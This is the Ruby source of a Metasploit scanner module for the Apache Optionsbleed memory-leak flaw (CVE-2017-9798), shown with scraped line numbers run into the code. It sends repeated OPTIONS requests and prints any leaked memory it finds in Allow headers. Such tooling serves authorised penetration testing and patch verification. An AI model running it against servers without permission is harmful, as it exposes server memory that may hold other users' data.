Path: blob/master/modules/auxiliary/scanner/http/apache_optionsbleed.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apache Optionsbleed Scanner',15'Description' => %q{16This module scans for the Apache optionsbleed vulnerability where the Allow17response header returned from an OPTIONS request may bleed memory if the18server has a .htaccess file with an invalid Limit method defined.19},20'Author' => [21'Hanno Böck', # Vulnerability discovery22'h00die', # Metasploit module23],24'References' => [25[ 'CVE', '2017-9798' ],26[ 'EDB', '42745' ],27[ 'URL', 'https://github.com/hannob/optionsbleed' ],28[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]29],30'DisclosureDate' => '2017-09-18',31'License' => MSF_LICENSE,32'Notes' => {33'AKA' => ['Optionsbleed'],34'Stability' => UNKNOWN_STABILITY,35'Reliability' => UNKNOWN_RELIABILITY,36'SideEffects' => UNKNOWN_SIDE_EFFECTS37}38)39)4041register_options([42OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),43OptInt.new('REPEAT', [true, 'Times to attempt', 40]),44OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])45])46end4748def get_allow_header(ip)49res = send_request_raw({50'version' => '1.1',51'method' => 'OPTIONS',52'uri' => datastore['TARGETURI']53}, 10)5455fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res56fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']57res.headers['Allow']58end5960def run_host(ip)61# Apache bug 61207 regex62bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/63# Launchpad bug 1717682 regex64bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/65uniques = []66already_reported = false6768for counter in 1..datastore['REPEAT']69allows = get_allow_header(ip)70next if uniques.include?(allows) # no need to re-process non-new items7172uniques << allows73if allows =~ bug_6120774if allows.split(',').length > allows.split(',').uniq.length # check for repeat items75print_status('Some methods were sent multiple times in the list. ' +76'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']77else78vprint_status("Request #{counter}: [Standard Response] -> #{allows}")79end80elsif allows =~ bug_1717682 && datastore['BUGS']81print_status('The list of methods was space-separated instead of comma-separated. ' +82'This is a bug, but harmless. It may be Launchpad bug #1717682.')83else84print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")85end86next unless already_reported8788report_vuln(89:host => ip,90:port => rport,91:name => self.name,92:refs => self.references93)94already_reported = true95end96end97end9899100